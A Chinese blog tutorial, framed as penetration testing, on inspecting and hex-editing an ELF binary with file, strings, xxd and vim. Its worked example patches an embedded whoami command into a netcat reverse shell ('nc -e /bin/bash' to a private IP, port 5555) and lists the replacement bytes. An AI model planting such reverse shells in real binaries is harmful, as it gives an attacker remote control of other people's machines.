龙空技术网

可以像修改Word文件一样修改二进制文件吗

jasonhuawen 152

前言:

此时同学们对“java二进制文件 渗透”大约比较关心,你们都需要分析一些“java二进制文件 渗透”的相关知识。那么小编也在网上搜集了一些对于“java二进制文件 渗透””的相关知识,希望各位老铁们能喜欢,大家一起来了解一下吧!

什么是二进制文件

什么是二进制文件?二进制文件是以计算机可理解(可读)格式进行存储的数据,由二进制数(0,1)或位组成。

除了纯文本文件外,二进制文件构成了计算机中存储的所有其他形式的内容。 常见的二进制文件包括数据文件、图像、声音文件、可执行程序等。

以二进制形式存储的程序的一个优点是它们可以非常快速地执行,因为它们比具有同等数据量的文本文件小。

默认情况下,我们无法使用普通程序或文本编辑器查看或编辑二进制文件。 相反,我们需要特殊的实用程序和十六进制编辑器来访问二进制文件。

什么时候需要修改二进制文件

当然与纯文本文件相比,对二进制文件进行查看的场景比较少,更不用提对其进行修改了。但是仍然有些情况下需要查看和编辑二进制文件,尤其在渗透测试过程中可能会遇到需要对二进制文件进行查看甚至修改的需求。。

大多数 Linux 发行版都有内置的实用程序来操作二进制文件,在本文中,我们将详细介绍如何对二进制文件执行读/写操作的方法和步骤。

实际案例分享

本案例选择某目标主机获得的client.bin二进制文件。

第一步:可先用Linux的file命令查看文件的类型:

$ file client.bin.bak

client.bin.bak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ad5b9f2d0ceddf3d884a5bb37c6d374ce357c9e2, stripped

第二步:利用strings命令查看该文件,strings命令可用于查看文件(包括二进制文件)中的可打印字符串。

$ strings client.bin.bak

/lib64/ld-linux-x86-64.so.2

_Py_NotImplementedStruct

(省略)

Setup nuitka compiled module/bytecode/shlib importer.

/home/c0rruptedb1t/MEGA/Projects And Operations/Project Replay/scripts/client.pydataIP: outputAF_INETEnter Password: sendmsgkeyencodexornotes00admincmd;echo Hello World, you are currently running as: ;whoamidecodestring--=======NOTES=======-- +Buy new milk (the current one is chunky) +2nd half of password is: h0TAIRNXuQcDu9Lqsyul +Find a new job +Call mom =====[END]=====commandlettersrecvoschoicesystem-= TERMINATING CONNNECTION =-

client_socketrandominputstrclearraw_inputCommand to be executed: replacejointimebase64

?exit1230012300admincmd;SOCK_STREAMconnectsleepoutdataappendXORtmpAttempting to connect...(

Definitely the password I swear -> password123 <- Definitely the password I sweartypesbye<module>encodestringnumsHello there you're not being naughty are you? bob_pass123456789rblensumiterlongnameopenreadreprsitelevelrangeformatlocalsxrange__all____cmp____doc__compileglobalsinspect__dict____exit____file____iter____main____name____path__exc_typefromlist__class____enter__bytearrayexc_value__import____module____delattr____getattr____package____setattr__classmethod__builtins__staticmethod__metaclass__exc_traceback/usr/bin/python2

GCC: (Debian 8.2.0-6) 8.2.0

.shstrtab

.(省略)

对strings命令输出进行分析,该可执行程序client.bin会执行命令echo Hello World, you are currently running as: ;whoami

我们的目标是将上述命令修改为可以反弹shell的命令,那么实现该目标就涉及到需要对上述可执行程序(client.bin)进行修改。

第三步:利用Linux的xxd 命令将二进制文件中转储为十六进制数据

$ xxd client.bin client.bin.dump

第四步:接下来可用各种编辑器,比如hexedit, vim等,本文将利用vim命令修改client.bin.dump文件内容,只需要修改文件内容中部的十六进制部分

找到echo Hello World, you are currently running as: ;whoami的位置,然后修改为

echo Hello Worldddd;nc -e /bin/bash 192.168.56.146 5555

需要保证修改前后的字符串长度一致(可以通过加减不重要字符或者空格)即:

原始字符串:echo Hello World, you are currently running as: ;whoami

原始字符串的十六进制数据:65 63 68 6f 20 48 65 6c 6c 6f 20 57 6f 72 6c 64 2c 20 79 6f 75 20 61 72 65 20 63 75 72 72 65 6e 74 6c 79 20 72 75 6e 6e 69 6e 67 20 61 73 3a 20 3b 77 68 6f 61 6d 69

目标字符串:echo Hello Worldddd;nc -e /bin/bash 192.168.56.146 5555

目标字符串的十六进制数据:65 63 68 6f 20 48 65 6c 6c 6f 20 57 6f 72 6c 64 64 64 64 3b 6e 63 20 2d 65 20 2f 62 69 6e 2f 62 61 73 68 20 31 39 32 2e 31 36 38 2e 35 36 2e 31 34 36 20 35 35 35 35

在修改过程中需要注意不能指望通过拷贝粘贴的方式一次性将所有字符串进行替换,而是逐个字节进行替换,可以用vim -b方式打开vim -b client.bin.dump

在vim中的右侧部分(即字符部分)无需修改

第四步:修改完成后,用xxd重新生成二进制可执行文件

xxd -r client.bin.dump > client.bin

然后修改权限,chmod +x

结尾

在本文中,我们了解了什么是二进制文件,并用实际案例的方式介绍了如何查看并进一步修改二进制文件。

最后分享一个在线网站,也可以方便我们编辑二进制文件

标签: #java二进制文件 渗透